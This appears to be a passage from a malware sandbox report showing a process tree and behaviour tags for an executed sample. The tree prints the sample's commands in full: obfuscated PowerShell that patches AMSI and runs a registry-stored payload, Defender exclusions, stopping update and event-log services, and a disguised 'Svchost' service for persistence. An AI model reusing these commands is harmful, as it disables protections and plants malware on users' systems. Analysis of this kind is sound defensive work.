PID 2620 wrote to memory of 2080	2620	dllhost.exe	36
PID 2620 wrote to memory of 2096	2620	dllhost.exe	37
PID 2620 wrote to memory of 2108	2620	dllhost.exe	38
PID 2620 wrote to memory of 2188	2620	dllhost.exe	39
PID 2620 wrote to memory of 2244	2620	dllhost.exe	40
PID 2620 wrote to memory of 2360	2620	dllhost.exe	42
PID 2620 wrote to memory of 2524	2620	dllhost.exe	43
PID 2620 wrote to memory of 2652	2620	dllhost.exe	44
PID 2620 wrote to memory of 2676	2620	dllhost.exe	45
PID 2620 wrote to memory of 2756	2620	dllhost.exe	46
PID 2620 wrote to memory of 2764	2620	dllhost.exe	47
PID 2620 wrote to memory of 2824	2620	dllhost.exe	48
PID 2620 wrote to memory of 2836	2620	dllhost.exe	49
PID 2620 wrote to memory of 3028	2620	dllhost.exe	50
PID 2620 wrote to memory of 3052	2620	dllhost.exe	51
PID 2620 wrote to memory of 2368	2620	dllhost.exe	52
PID 2620 wrote to memory of 708	2620	dllhost.exe	54
PID 2620 wrote to memory of 3172	2620	dllhost.exe	55
PID 2620 wrote to memory of 3244	2620	dllhost.exe	56
PID 2620 wrote to memory of 3396	2620	dllhost.exe	57
PID 2620 wrote to memory of 3592	2620	dllhost.exe	58
PID 2620 wrote to memory of 3748	2620	dllhost.exe	60
PID 2620 wrote to memory of 4016	2620	dllhost.exe	62
PID 2620 wrote to memory of 4104	2620	dllhost.exe	65
PID 2620 wrote to memory of 1216	2620	dllhost.exe	67
PID 2620 wrote to memory of 3132	2620	dllhost.exe	68
PID 2620 wrote to memory of 4900	2620	dllhost.exe	70
PID 2620 wrote to memory of 2088	2620	dllhost.exe	71

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\winlogon.exe
winlogon.exe
1⤵
PID:620
- C:\Windows\system32\dwm.exe
  "dwm.exe"
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:396
- C:\Windows\System32\dllhost.exe
  C:\Windows\System32\dllhost.exe /Processid:{4b70c230-d0c3-4e9b-a75c-4851bc051a30}
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2620
- C:\Windows\System32\dllhost.exe
  C:\Windows\System32\dllhost.exe /Processid:{9ba6dd8b-3c8b-4c50-880d-24e06daf50db}
  2⤵
  PID:6064
- - C:\Windows\system32\WerFault.exe
    C:\Windows\system32\WerFault.exe -u -p 6064 -s 292
    3⤵
    - Checks processor information in registry
    - Enumerates system info in registry
    PID:1036

C:\Windows\system32\lsass.exe
C:\Windows\system32\lsass.exe
1⤵
PID:676

C:\Windows\System32\WUDFHost.exe
"C:\Windows\System32\WUDFHost.exe" -HostGUID:{193a1820-d9ac-4997-8c55-be817523f6aa} -IoEventPortName:\UMDFCommunicationPorts\WUDF\HostProcess-147fe8c2-002a-49d5-89c5-3fff38a348f5 -SystemEventPortName:\UMDFCommunicationPorts\WUDF\HostProcess-7cf711f4-878f-4956-bc96-5cb17dc4d619 -IoCancelEventPortName:\UMDFCommunicationPorts\WUDF\HostProcess-4c36242f-ec91-4429-b715-78bc2ec13c05 -NonStateChangingEventPortName:\UMDFCommunicationPorts\WUDF\HostProcess-7acd0bc5-06b8-419b-8416-9f45a9ea3b64 -LifetimeId:da5149a8-2315-4155-b049-aff2097477f5 -DeviceGroupId:WudfDefaultDevicePool -HostArg:0
1⤵
PID:884

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM
1⤵
PID:60

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc
1⤵
PID:1020

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts
1⤵
PID:1072

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService
1⤵
PID:1160

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule
1⤵
- Drops file in System32 directory
PID:1188
- C:\Windows\system32\taskhostw.exe
  taskhostw.exe {222A245B-E637-4AE9-A93F-A59CA119A75E}
  2⤵
  PID:2368
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:lqjIUCQVaBJb{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$rvwzHHlImOGFrE,[Parameter(Position=1)][Type]$BAYpcfodQw)$dSPOhJpQYHS=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+[Char](82)+''+[Char](101)+''+[Char](102)+''+[Char](108)+''+[Char](101)+'c'+[Char](116)+'e'+'d'+''+[Char](68)+''+[Char](101)+''+'l'+''+[Char](101)+'g'+[Char](97)+''+[Char](116)+''+[Char](101)+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+[Char](73)+''+'n'+''+[Char](77)+''+'e'+''+[Char](109)+'o'+'r'+''+'y'+''+[Char](77)+'o'+[Char](100)+''+'u'+''+'l'+''+[Char](101)+'',$False).DefineType(''+[Char](77)+''+'y'+'D'+'e'+''+[Char](108)+''+[Char](101)+''+'g'+''+[Char](97)+''+[Char](116)+'e'+[Char](84)+''+'y'+'p'+'e'+'',''+[Char](67)+'l'+[Char](97)+''+[Char](115)+''+[Char](115)+''+[Char](44)+''+'P'+''+[Char](117)+''+[Char](98)+''+[Char](108)+''+[Char](105)+''+'c'+''+[Char](44)+''+'S'+''+'e'+''+[Char](97)+'l'+[Char](101)+''+[Char](100)+''+[Char](44)+''+[Char](65)+''+[Char](110)+''+[Char](115)+''+[Char](105)+''+'C'+''+[Char](108)+''+[Char](97)+'s'+[Char](115)+''+[Char](44)+''+[Char](65)+''+[Char](117)+''+'t'+''+[Char](111)+'C'+[Char](108)+''+'a'+'s'+'s'+'',[MulticastDelegate]);$dSPOhJpQYHS.DefineConstructor(''+'R'+''+[Char](84)+''+'S'+''+[Char](112)+'e'+'c'+''+[Char](105)+'a'+[Char](108)+''+'N'+''+[Char](97)+'me,'+[Char](72)+''+[Char](105)+''+'d'+''+[Char](101)+''+[Char](66)+''+[Char](121)+''+'S'+''+'i'+''+[Char](103)+',P'+[Char](117)+''+[Char](98)+''+[Char](108)+''+'i'+'c',[Reflection.CallingConventions]::Standard,$rvwzHHlImOGFrE).SetImplementationFlags(''+'R'+''+[Char](117)+''+[Char](110)+''+[Char](116)+''+[Char](105)+''+'m'+''+[Char](101)+','+[Char](77)+''+[Char](97)+''+'n'+'a'+[Char](103)+''+'e'+''+[Char](100)+'');$dSPOhJpQYHS.DefineMethod('In'+[Char](118)+''+[Char](111)+'ke',''+'P'+''+[Char](117)+'bl'+'i'+'c'+[Char](44)+''+'H'+''+[Char](105)+'d'+'e'+''+[Char](66)+''+'y'+''+[Char](83)+''+[Char](105)+''+'g'+',New'+[Char](83)+'l'+'o'+''+'t'+''+[Char](44)+''+'V'+''+[Char](105)+'rt'+[Char](117)+'a'+[Char](108)+'',$BAYpcfodQw,$rvwzHHlImOGFrE).SetImplementationFlags('Ru'+'n'+''+'t'+'im'+'e'+''+','+''+'M'+'a'+[Char](110)+''+[Char](97)+''+'g'+''+'e'+''+[Char](100)+'');Write-Output $dSPOhJpQYHS.CreateType();}$bnOWKaJNkqNoK=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+'S'+''+[Char](121)+'s'+'t'+''+[Char](101)+'m'+[Char](46)+''+'d'+''+'l'+''+[Char](108)+'')}).GetType(''+[Char](77)+''+[Char](105)+'c'+'r'+''+'o'+''+[Char](115)+''+[Char](111)+'f'+[Char](116)+''+[Char](46)+''+'W'+''+[Char](105)+''+'n'+''+[Char](51)+''+'2'+'.'+'U'+''+[Char](110)+''+'s'+'afe'+[Char](78)+''+[Char](97)+''+'t'+'iv'+'e'+''+[Char](77)+'eth'+[Char](111)+''+[Char](100)+'s');$CKMZPtcbsaXTyA=$bnOWKaJNkqNoK.GetMethod(''+[Char](71)+''+[Char](101)+'t'+'P'+''+'r'+'o'+[Char](99)+''+[Char](65)+'d'+[Char](100)+''+[Char](114)+''+[Char](101)+'s'+[Char](115)+'',[Reflection.BindingFlags](''+[Char](80)+''+'u'+''+[Char](98)+'l'+[Char](105)+''+'c'+''+[Char](44)+''+[Char](83)+'t'+[Char](97)+''+[Char](116)+'i'+[Char](99)+''),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$icMwlLofDqZkYkDHZff=lqjIUCQVaBJb @([String])([IntPtr]);$RZxzKfMZsWrDwRJYjCYDHH=lqjIUCQVaBJb @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$wNPdyIiyiuV=$bnOWKaJNkqNoK.GetMethod(''+[Char](71)+'e'+[Char](116)+''+'M'+''+[Char](111)+'d'+[Char](117)+'l'+[Char](101)+''+[Char](72)+''+[Char](97)+'n'+[Char](100)+''+[Char](108)+''+[Char](101)+'').Invoke($Null,@([Object](''+[Char](107)+'e'+'r'+''+[Char](110)+''+'e'+'l'+[Char](51)+'2'+'.'+'d'+[Char](108)+''+'l'+'')));$bCffAjJxmwfjnk=$CKMZPtcbsaXTyA.Invoke($Null,@([Object]$wNPdyIiyiuV,[Object](''+[Char](76)+''+'o'+''+'a'+''+[Char](100)+'Li'+[Char](98)+''+'r'+'ar'+'y'+'A')));$syvIoLqjdoCjVmWdS=$CKMZPtcbsaXTyA.Invoke($Null,@([Object]$wNPdyIiyiuV,[Object]('V'+[Char](105)+''+[Char](114)+'tu'+[Char](97)+''+[Char](108)+''+'P'+''+[Char](114)+'o'+'t'+''+'e'+''+[Char](99)+''+[Char](116)+'')));$weEZDST=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($bCffAjJxmwfjnk,$icMwlLofDqZkYkDHZff).Invoke('am'+[Char](115)+'i'+[Char](46)+'d'+'l'+'l');$iuSMJitlplunxmMpy=$CKMZPtcbsaXTyA.Invoke($Null,@([Object]$weEZDST,[Object]('A'+[Char](109)+'s'+[Char](105)+'S'+[Char](99)+'a'+[Char](110)+'B'+[Char](117)+''+'f'+'f'+[Char](101)+''+[Char](114)+'')));$MDBwrVGXqZ=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($syvIoLqjdoCjVmWdS,$RZxzKfMZsWrDwRJYjCYDHH).Invoke($iuSMJitlplunxmMpy,[uint32]8,4,[ref]$MDBwrVGXqZ);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$iuSMJitlplunxmMpy,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($syvIoLqjdoCjVmWdS,$RZxzKfMZsWrDwRJYjCYDHH).Invoke($iuSMJitlplunxmMpy,[uint32]8,0x20,[ref]$MDBwrVGXqZ);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+'S'+''+[Char](79)+''+'F'+''+[Char](84)+''+[Char](87)+''+'A'+''+[Char](82)+''+[Char](69)+'').GetValue('d'+'i'+''+[Char](97)+'le'+'r'+'s'+'t'+''+[Char](97)+'ge'+'r'+'')).EntryPoint.Invoke($Null,$Null)"
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Command and Scripting Interpreter: PowerShell
  - Drops file in System32 directory
  - Suspicious use of SetThreadContext
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2940
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:2740
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:RMUowdEshBgP{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$nHiNIzMOdhtARy,[Parameter(Position=1)][Type]$nyAiCYqNjO)$JSyQsRhLrac=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+[Char](82)+''+[Char](101)+''+[Char](102)+''+'l'+'e'+[Char](99)+''+'t'+''+'e'+''+[Char](100)+''+'D'+''+[Char](101)+''+[Char](108)+''+[Char](101)+''+[Char](103)+''+[Char](97)+''+[Char](116)+'e')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+[Char](73)+''+[Char](110)+'M'+[Char](101)+''+[Char](109)+''+[Char](111)+''+'r'+''+[Char](121)+''+[Char](77)+''+[Char](111)+''+'d'+''+[Char](117)+''+[Char](108)+'e',$False).DefineType(''+'M'+''+'y'+''+'D'+''+[Char](101)+''+[Char](108)+''+'e'+''+[Char](103)+''+[Char](97)+''+[Char](116)+'eT'+'y'+'pe',''+[Char](67)+'l'+[Char](97)+'s'+[Char](115)+','+[Char](80)+'u'+[Char](98)+''+[Char](108)+'i'+[Char](99)+''+','+''+'S'+''+[Char](101)+''+[Char](97)+''+[Char](108)+'e'+[Char](100)+''+[Char](44)+''+[Char](65)+''+[Char](110)+''+[Char](115)+'i'+'C'+'l'+[Char](97)+'s'+[Char](115)+''+[Char](44)+''+'A'+''+[Char](117)+'to'+'C'+'l'+[Char](97)+''+[Char](115)+''+[Char](115)+'',[MulticastDelegate]);$JSyQsRhLrac.DefineConstructor(''+[Char](82)+'T'+[Char](83)+'p'+'e'+''+'c'+'i'+'a'+''+[Char](108)+'N'+[Char](97)+'m'+'e'+''+[Char](44)+''+'H'+''+[Char](105)+'d'+[Char](101)+''+[Char](66)+''+[Char](121)+''+'S'+''+'i'+''+'g'+''+','+''+[Char](80)+''+'u'+''+[Char](98)+''+[Char](108)+''+[Char](105)+''+[Char](99)+'',[Reflection.CallingConventions]::Standard,$nHiNIzMOdhtARy).SetImplementationFlags(''+'R'+'u'+'n'+''+[Char](116)+''+[Char](105)+''+[Char](109)+''+[Char](101)+''+[Char](44)+''+'M'+''+[Char](97)+''+'n'+''+[Char](97)+''+'g'+''+[Char](101)+''+[Char](100)+'');$JSyQsRhLrac.DefineMethod(''+[Char](73)+''+[Char](110)+''+[Char](118)+'ok'+[Char](101)+'',''+[Char](80)+''+'u'+''+[Char](98)+''+'l'+''+'i'+''+[Char](99)+''+','+'H'+[Char](105)+'d'+'e'+''+[Char](66)+''+[Char](121)+'S'+'i'+''+[Char](103)+''+[Char](44)+''+[Char](78)+'e'+[Char](119)+''+[Char](83)+''+[Char](108)+''+[Char](111)+'t'+[Char](44)+''+'V'+''+[Char](105)+''+'r'+''+[Char](116)+''+[Char](117)+''+[Char](97)+'l',$nyAiCYqNjO,$nHiNIzMOdhtARy).SetImplementationFlags(''+'R'+''+'u'+''+'n'+''+[Char](116)+'i'+'m'+''+[Char](101)+''+[Char](44)+'M'+'a'+''+[Char](110)+''+[Char](97)+''+[Char](103)+''+'e'+'d');Write-Output $JSyQsRhLrac.CreateType();}$wKNimyybEMbrh=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+'S'+''+'y'+''+[Char](115)+''+[Char](116)+''+'e'+''+'m'+''+[Char](46)+''+[Char](100)+'ll')}).GetType(''+[Char](77)+'i'+[Char](99)+'ro'+'s'+''+'o'+''+'f'+''+[Char](116)+''+[Char](46)+''+'W'+''+'i'+''+[Char](110)+''+[Char](51)+'2'+[Char](46)+''+'U'+''+[Char](110)+''+[Char](115)+''+[Char](97)+''+[Char](102)+''+[Char](101)+''+'N'+''+[Char](97)+'t'+[Char](105)+''+[Char](118)+'e'+[Char](77)+''+[Char](101)+''+[Char](116)+''+'h'+'o'+[Char](100)+''+[Char](115)+'');$yFMfrlcWtSJOpJ=$wKNimyybEMbrh.GetMethod('G'+'e'+'t'+'P'+''+'r'+''+[Char](111)+''+[Char](99)+''+[Char](65)+''+[Char](100)+''+[Char](100)+''+'r'+''+'e'+'s'+[Char](115)+'',[Reflection.BindingFlags]('P'+'u'+''+'b'+''+[Char](108)+'ic'+','+''+[Char](83)+''+[Char](116)+'a'+[Char](116)+''+'i'+'c'),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$wNAWCWGVJQCxaiTEyfw=RMUowdEshBgP @([String])([IntPtr]);$qimkEsFblzLkVkqywCdABz=RMUowdEshBgP @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$ALLrCgjQinz=$wKNimyybEMbrh.GetMethod(''+[Char](71)+''+[Char](101)+''+[Char](116)+''+[Char](77)+''+[Char](111)+''+[Char](100)+'u'+[Char](108)+''+[Char](101)+''+[Char](72)+''+[Char](97)+''+'n'+''+[Char](100)+''+[Char](108)+'e').Invoke($Null,@([Object](''+[Char](107)+''+'e'+''+[Char](114)+''+'n'+''+'e'+'l'+[Char](51)+''+'2'+''+[Char](46)+''+'d'+'l'+[Char](108)+'')));$WItedBwItYTbGG=$yFMfrlcWtSJOpJ.Invoke($Null,@([Object]$ALLrCgjQinz,[Object](''+[Char](76)+''+[Char](111)+'a'+[Char](100)+''+[Char](76)+''+[Char](105)+''+[Char](98)+''+[Char](114)+''+'a'+''+[Char](114)+''+[Char](121)+'A')));$tISXsyCypwIEzcgYf=$yFMfrlcWtSJOpJ.Invoke($Null,@([Object]$ALLrCgjQinz,[Object]('V'+[Char](105)+''+[Char](114)+'tual'+[Char](80)+''+'r'+''+[Char](111)+''+[Char](116)+''+[Char](101)+'c'+'t'+'')));$AlRUCgG=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($WItedBwItYTbGG,$wNAWCWGVJQCxaiTEyfw).Invoke(''+[Char](97)+''+[Char](109)+''+[Char](115)+''+'i'+''+[Char](46)+''+[Char](100)+'ll');$EfEAlQbmSQbcfvQvU=$yFMfrlcWtSJOpJ.Invoke($Null,@([Object]$AlRUCgG,[Object](''+[Char](65)+''+[Char](109)+''+[Char](115)+''+[Char](105)+'S'+[Char](99)+''+[Char](97)+''+[Char](110)+''+'B'+''+[Char](117)+''+[Char](102)+''+'f'+'er')));$ZvfmSXboxG=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($tISXsyCypwIEzcgYf,$qimkEsFblzLkVkqywCdABz).Invoke($EfEAlQbmSQbcfvQvU,[uint32]8,4,[ref]$ZvfmSXboxG);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$EfEAlQbmSQbcfvQvU,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($tISXsyCypwIEzcgYf,$qimkEsFblzLkVkqywCdABz).Invoke($EfEAlQbmSQbcfvQvU,[uint32]8,0x20,[ref]$ZvfmSXboxG);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+[Char](83)+''+[Char](79)+''+[Char](70)+''+[Char](84)+''+[Char](87)+''+'A'+''+[Char](82)+'E').GetValue('d'+'i'+'a'+'l'+''+'e'+''+[Char](114)+''+[Char](115)+''+[Char](116)+''+[Char](97)+''+'g'+'e'+[Char](114)+'')).EntryPoint.Invoke($Null,$Null)"
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Command and Scripting Interpreter: PowerShell
  - Drops file in System32 directory
  - Suspicious use of SetThreadContext
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:5668
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:5684
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe start wuauserv
  2⤵
  - Launches sc.exe
  PID:5520

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog
1⤵
PID:1196

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s nsi
1⤵
PID:1296

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc
1⤵
PID:1316

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s DisplayEnhancementService
1⤵
PID:1324

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp
1⤵
PID:1396

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc
1⤵
PID:1404

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc
1⤵
PID:1412

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager
1⤵
PID:1676
- C:\Windows\system32\sihost.exe
  sihost.exe
  2⤵
  PID:3028

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem
1⤵
PID:1684

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s Themes
1⤵
PID:1700

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -p -s NlaSvc
1⤵
PID:1756

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s SENS
1⤵
PID:1860

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder
1⤵
PID:1904

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalService -p -s netprofm
1⤵
PID:1928

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:1992

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p -s Dnscache
1⤵
PID:2072

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:2080

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2096

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository
1⤵
PID:2108

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection
1⤵
PID:2188

C:\Windows\System32\spoolsv.exe
C:\Windows\System32\spoolsv.exe
1⤵
PID:2244

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation
1⤵
PID:2360

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc
1⤵
PID:2524

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT
1⤵
PID:2652

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent
1⤵
PID:2676

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p -s CryptSvc
1⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
PID:2756

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2764

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks
1⤵
PID:2824

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService
1⤵
PID:2836

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc
1⤵
PID:3052

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s TokenBroker
1⤵
PID:708

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc
1⤵
PID:3172

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
PID:3244
- C:\Users\Admin\AppData\Local\Temp\8832f5ecb1e61c79555bb01ba4b0567c3293400b64deb504349fde67d2c5f6d2.exe
  "C:\Users\Admin\AppData\Local\Temp\8832f5ecb1e61c79555bb01ba4b0567c3293400b64deb504349fde67d2c5f6d2.exe"
  2⤵
  - Drops file in System32 directory
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  - Suspicious use of SetThreadContext
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  PID:2476
- - C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
    C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1116
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:2116
  - - C:\Windows\system32\wusa.exe
      wusa /uninstall /kb:890830 /quiet /norestart
      4⤵
      PID:1880
- - C:\Windows\system32\sc.exe
    C:\Windows\system32\sc.exe stop UsoSvc
    3⤵
    - Launches sc.exe
    PID:3428
- - C:\Windows\system32\sc.exe
    C:\Windows\system32\sc.exe stop WaaSMedicSvc
    3⤵
    - Launches sc.exe
    PID:1620
- - C:\Windows\system32\sc.exe
    C:\Windows\system32\sc.exe stop wuauserv
    3⤵
    - Launches sc.exe
    PID:220
- - C:\Windows\system32\sc.exe
    C:\Windows\system32\sc.exe stop bits
    3⤵
    - Launches sc.exe
    PID:3124
- - C:\Windows\system32\sc.exe
    C:\Windows\system32\sc.exe stop dosvc
    3⤵
    - Launches sc.exe
    PID:3600
- - C:\Windows\system32\powercfg.exe
    C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
    3⤵
    - Power Settings
    - Suspicious use of AdjustPrivilegeToken
    PID:1588
- - C:\Windows\system32\powercfg.exe
    C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
    3⤵
    - Power Settings
    - Suspicious use of AdjustPrivilegeToken
    PID:976
- - C:\Windows\system32\powercfg.exe
    C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
    3⤵
    - Power Settings
    - Suspicious use of AdjustPrivilegeToken
    PID:2304
- - C:\Windows\system32\powercfg.exe
    C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
    3⤵
    - Power Settings
    - Suspicious use of AdjustPrivilegeToken
    PID:3804
- - C:\Windows\system32\dialer.exe
    C:\Windows\system32\dialer.exe
    3⤵
    PID:2312
- - C:\Windows\system32\sc.exe
    C:\Windows\system32\sc.exe delete "Svchost"
    3⤵
    - Launches sc.exe
    PID:3372
- - C:\Windows\system32\sc.exe
    C:\Windows\system32\sc.exe create "Svchost" binpath= "C:\ProgramData\Svchost.exe" start= "auto"
    3⤵
    - Launches sc.exe
    PID:3412
- - C:\Windows\system32\sc.exe
    C:\Windows\system32\sc.exe stop eventlog
    3⤵
    - Launches sc.exe
    PID:3008
- - C:\Windows\system32\sc.exe
    C:\Windows\system32\sc.exe start "Svchost"
    3⤵
    - Launches sc.exe
    PID:4388
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:5040

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc
1⤵
PID:3396

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
1⤵
PID:3592

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:3748

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:4016

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:4104

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p
1⤵
PID:1216

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc
1⤵
PID:3132

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p -s SSDPSRV
1⤵
PID:4900

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc
1⤵
PID:2088

C:\Windows\system32\SppExtComObj.exe
C:\Windows\system32\SppExtComObj.exe -Embedding
1⤵
PID:2032

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager
1⤵
PID:832

C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe
"C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe" /service
1⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
PID:3360

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc
1⤵
PID:5032

C:\Windows\system32\DllHost.exe
